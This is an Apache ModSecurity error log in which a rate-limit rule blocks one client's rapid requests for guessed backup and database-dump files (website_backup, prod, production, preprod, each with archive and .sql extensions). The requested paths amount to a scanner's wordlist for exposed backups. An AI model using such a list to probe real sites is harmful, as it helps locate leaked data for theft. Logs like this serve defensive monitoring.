[Fri May 15 10:03:28.932936 2026] [:error] [pid 1295:tid 1306] [client 34.97.8.90:38406] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/website_backup.rar"] [unique_id "agZ-8NmMhqLvs0GYixkchwAAAMg"]
[Fri May 15 10:03:29.769207 2026] [:error] [pid 1189:tid 1240] [client 34.97.8.90:38412] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/website_backup.gz"] [unique_id "agZ-8Qe36qIGegR4kcmB3QAAAE8"]
[Fri May 15 10:03:30.560875 2026] [:error] [pid 1189:tid 1232] [client 34.97.8.90:38414] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/website_backup.bz2"] [unique_id "agZ-8ge36qIGegR4kcmB3gAAAEc"]
[Fri May 15 10:03:31.342205 2026] [:error] [pid 1189:tid 1247] [client 34.97.8.90:38420] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/website_backup.zst"] [unique_id "agZ-8we36qIGegR4kcmB3wAAAFY"]
[Fri May 15 10:03:32.172952 2026] [:error] [pid 51234:tid 51243] [client 34.97.8.90:38424] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/website_backup.sql.gz"] [unique_id "agZ-9N72N9CbeiqcqgPV6QAAAUc"]
[Fri May 15 10:03:33.027580 2026] [:error] [pid 1295:tid 1315] [client 34.97.8.90:38438] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/website_backup.sql.bz2"] [unique_id "agZ-9dmMhqLvs0GYixkckgAAANE"]
[Fri May 15 10:03:33.920915 2026] [:error] [pid 51234:tid 51247] [client 34.97.8.90:38454] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/website_backup.sql"] [unique_id "agZ-9d72N9CbeiqcqgPV8gAAAUs"]
[Fri May 15 10:03:34.799215 2026] [:error] [pid 1189:tid 1244] [client 34.97.8.90:38470] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/prod.zip"] [unique_id "agZ-9ge36qIGegR4kcmB8gAAAFM"]
[Fri May 15 10:03:35.661325 2026] [:error] [pid 51234:tid 51253] [client 34.97.8.90:45770] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/prod.tar.gz"] [unique_id "agZ-9972N9CbeiqcqgPV9AAAAVE"]
[Fri May 15 10:03:36.534818 2026] [:error] [pid 51234:tid 51236] [client 34.97.8.90:45782] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/prod.tgz"] [unique_id "agZ--N72N9CbeiqcqgPV9gAAAUA"]
[Fri May 15 10:03:37.407055 2026] [:error] [pid 51234:tid 51258] [client 34.97.8.90:45792] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/prod.tar"] [unique_id "agZ--d72N9CbeiqcqgPV9wAAAVY"]
[Fri May 15 10:03:38.310554 2026] [:error] [pid 1189:tid 1240] [client 34.97.8.90:45800] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/prod.tar.bz2"] [unique_id "agZ--ge36qIGegR4kcmB8wAAAE8"]
[Fri May 15 10:03:39.248733 2026] [:error] [pid 50531:tid 50550] [client 34.97.8.90:45808] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/prod.tar.xz"] [unique_id "agZ--x3WbFwE6voqGzrknwAAARE"]
[Fri May 15 10:03:40.138486 2026] [:error] [pid 51234:tid 51251] [client 34.97.8.90:45814] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/prod.7z"] [unique_id "agZ-_N72N9CbeiqcqgPV-QAAAU8"]
[Fri May 15 10:03:41.073609 2026] [:error] [pid 51234:tid 51240] [client 34.97.8.90:45818] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/prod.rar"] [unique_id "agZ-_d72N9CbeiqcqgPV-gAAAUQ"]
[Fri May 15 10:03:42.007868 2026] [:error] [pid 51234:tid 51249] [client 34.97.8.90:45824] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/prod.gz"] [unique_id "agZ-_t72N9CbeiqcqgPV_QAAAU0"]
[Fri May 15 10:03:42.936653 2026] [:error] [pid 1189:tid 1234] [client 34.97.8.90:45836] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/prod.bz2"] [unique_id "agZ-_ge36qIGegR4kcmB9QAAAEk"]
[Fri May 15 10:03:43.908850 2026] [:error] [pid 50531:tid 50537] [client 34.97.8.90:45852] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/prod.zst"] [unique_id "agZ-_x3WbFwE6voqGzrkoAAAAQQ"]
[Fri May 15 10:03:44.879341 2026] [:error] [pid 1190:tid 1256] [client 34.97.8.90:58328] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/prod.sql.gz"] [unique_id "agZ_ANqiXrD7hne4gFbJ7wAAAIQ"]
[Fri May 15 10:03:45.866306 2026] [:error] [pid 51234:tid 51240] [client 34.97.8.90:58342] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/prod.sql.bz2"] [unique_id "agZ_Ad72N9CbeiqcqgPWBwAAAUQ"]
[Fri May 15 10:03:46.875874 2026] [:error] [pid 1188:tid 1198] [client 34.97.8.90:58354] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/prod.sql"] [unique_id "agZ_AtY68iW8yuNkNzPxLAAAAAE"]
[Fri May 15 10:03:47.902445 2026] [:error] [pid 1189:tid 1235] [client 34.97.8.90:58360] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/production.zip"] [unique_id "agZ_Awe36qIGegR4kcmB-QAAAEo"]
[Fri May 15 10:03:48.871940 2026] [:error] [pid 1189:tid 1242] [client 34.97.8.90:58376] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/production.tar.gz"] [unique_id "agZ_BAe36qIGegR4kcmB-wAAAFE"]
[Fri May 15 10:03:49.912017 2026] [:error] [pid 1189:tid 1246] [client 34.97.8.90:58392] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/production.tgz"] [unique_id "agZ_BQe36qIGegR4kcmB_AAAAFU"]
[Fri May 15 10:03:50.940854 2026] [:error] [pid 51234:tid 51252] [client 34.97.8.90:58394] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/production.tar"] [unique_id "agZ_Bt72N9CbeiqcqgPWCQAAAVA"]
[Fri May 15 10:03:52.016963 2026] [:error] [pid 1189:tid 1231] [client 34.97.8.90:58406] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/production.tar.bz2"] [unique_id "agZ_CAe36qIGegR4kcmB_wAAAEY"]
[Fri May 15 10:03:53.006186 2026] [:error] [pid 1189:tid 1228] [client 34.97.8.90:58408] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/production.tar.xz"] [unique_id "agZ_CQe36qIGegR4kcmCAgAAAEM"]
[Fri May 15 10:03:54.009098 2026] [:error] [pid 50531:tid 50553] [client 34.97.8.90:58414] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/production.7z"] [unique_id "agZ_Ch3WbFwE6voqGzrkpgAAARQ"]
[Fri May 15 10:03:55.090743 2026] [:error] [pid 50531:tid 50533] [client 34.97.8.90:34300] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/production.rar"] [unique_id "agZ_Cx3WbFwE6voqGzrkqAAAAQA"]
[Fri May 15 10:03:56.137946 2026] [:error] [pid 1295:tid 1299] [client 34.97.8.90:34306] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/production.gz"] [unique_id "agZ_DNmMhqLvs0GYixkcmwAAAME"]
[Fri May 15 10:03:57.152550 2026] [:error] [pid 51234:tid 51255] [client 34.97.8.90:34320] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/production.bz2"] [unique_id "agZ_Dd72N9CbeiqcqgPWEwAAAVM"]
[Fri May 15 10:03:58.129878 2026] [:error] [pid 51234:tid 51247] [client 34.97.8.90:34326] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/production.zst"] [unique_id "agZ_Dt72N9CbeiqcqgPWFAAAAUs"]
[Fri May 15 10:03:59.055478 2026] [:error] [pid 1189:tid 1233] [client 34.97.8.90:34338] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/production.sql.gz"] [unique_id "agZ_Dwe36qIGegR4kcmCBAAAAEg"]
[Fri May 15 10:04:00.006004 2026] [:error] [pid 1295:tid 1315] [client 34.97.8.90:34350] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/production.sql.bz2"] [unique_id "agZ_ENmMhqLvs0GYixkcnQAAANE"]
[Fri May 15 10:04:01.007159 2026] [:error] [pid 51234:tid 51237] [client 34.97.8.90:34358] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/production.sql"] [unique_id "agZ_Ed72N9CbeiqcqgPWFwAAAUE"]
[Fri May 15 10:04:02.114036 2026] [:error] [pid 1295:tid 1304] [client 34.97.8.90:34364] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/preprod.zip"] [unique_id "agZ_EtmMhqLvs0GYixkcnwAAAMY"]
[Fri May 15 10:04:03.047479 2026] [:error] [pid 51234:tid 51242] [client 34.97.8.90:34372] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/preprod.tar.gz"] [unique_id "agZ_E972N9CbeiqcqgPWGgAAAUY"]
[Fri May 15 10:04:04.047193 2026] [:error] [pid 50531:tid 50534] [client 34.97.8.90:34378] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/preprod.tgz"] [unique_id "agZ_FB3WbFwE6voqGzrkrAAAAQE"]
[Fri May 15 10:04:05.041147 2026] [:error] [pid 1188:tid 1216] [client 34.97.8.90:33732] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/preprod.tar"] [unique_id "agZ_FdY68iW8yuNkNzPxNAAAABM"]
[Fri May 15 10:04:06.020445 2026] [:error] [pid 50531:tid 50554] [client 34.97.8.90:33736] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/preprod.tar.bz2"] [unique_id "agZ_Fh3WbFwE6voqGzrkrQAAARU"]
[Fri May 15 10:04:07.070924 2026] [:error] [pid 1189:tid 1243] [client 34.97.8.90:33742] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/preprod.tar.xz"] [unique_id "agZ_Fwe36qIGegR4kcmCBQAAAFI"]
[Fri May 15 10:04:08.057554 2026] [:error] [pid 1189:tid 1225] [client 34.97.8.90:33744] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/preprod.7z"] [unique_id "agZ_GAe36qIGegR4kcmCBwAAAEA"]
[Fri May 15 10:04:09.057652 2026] [:error] [pid 50531:tid 50548] [client 34.97.8.90:33760] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/preprod.rar"] [unique_id "agZ_GR3WbFwE6voqGzrkrwAAAQ8"]
[Fri May 15 10:04:10.009623 2026] [:error] [pid 51234:tid 51247] [client 34.97.8.90:33762] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/preprod.gz"] [unique_id "agZ_Gt72N9CbeiqcqgPWHAAAAUs"]
[Fri May 15 10:04:10.527008 2026] [:error] [pid 51234:tid 51249] [client 34.97.8.90:33770] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/preprod.bz2"] [unique_id "agZ_Gt72N9CbeiqcqgPWHgAAAU0"]
[Fri May 15 10:04:11.114765 2026] [:error] [pid 51234:tid 51257] [client 34.97.8.90:33786] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/preprod.zst"] [unique_id "agZ_G972N9CbeiqcqgPWIwAAAVU"]
[Fri May 15 10:04:11.708188 2026] [:error] [pid 1188:tid 1202] [client 34.97.8.90:33802] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/preprod.sql.gz"] [unique_id "agZ_G9Y68iW8yuNkNzPxPAAAAAU"]
[Fri May 15 10:04:12.320181 2026] [:error] [pid 1190:tid 1262] [client 34.97.8.90:33808] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/preprod.sql.bz2"] [unique_id "agZ_HNqiXrD7hne4gFbJ_wAAAIo"]
[Fri May 15 10:04:13.000191 2026] [:error] [pid 1190:tid 1258] [client 34.97.8.90:33814] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/preprod.sql"] [unique_id "agZ_HNqiXrD7hne4gFbKAgAAAIY"]
[Fri May 15 10:04:13.615055 2026] [:error] [pid 1295:tid 1318] [client 34.97.8.90:33820] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pre-prod.zip"] [unique_id "agZ_HdmMhqLvs0GYixkcoAAAANQ"]
[Fri May 15 10:04:14.267969 2026] [:error] [pid 1295:tid 1316] [client 34.97.8.90:33828] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pre-prod.tar.gz"] [unique_id "agZ_HtmMhqLvs0GYixkcoQAAANI"]
[Fri May 15 10:04:14.905874 2026] [:error] [pid 1295:tid 1312] [client 34.97.8.90:42246] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pre-prod.tgz"] [unique_id "agZ_HtmMhqLvs0GYixkcogAAAM4"]
[Fri May 15 10:04:15.564042 2026] [:error] [pid 1189:tid 1226] [client 34.97.8.90:42250] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pre-prod.tar"] [unique_id "agZ_Hwe36qIGegR4kcmCCgAAAEE"]
[Fri May 15 10:04:16.211976 2026] [:error] [pid 1189:tid 1228] [client 34.97.8.90:42262] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pre-prod.tar.bz2"] [unique_id "agZ_IAe36qIGegR4kcmCCwAAAEM"]
[Fri May 15 10:04:16.884792 2026] [:error] [pid 51234:tid 51239] [client 34.97.8.90:42276] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pre-prod.tar.xz"] [unique_id "agZ_IN72N9CbeiqcqgPWbwAAAUM"]
[Fri May 15 10:04:17.605873 2026] [:error] [pid 51234:tid 51255] [client 34.97.8.90:42290] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/pre-prod.7z"] [unique_id "agZ_Id72N9CbeiqcqgPWdgAAAVM"]
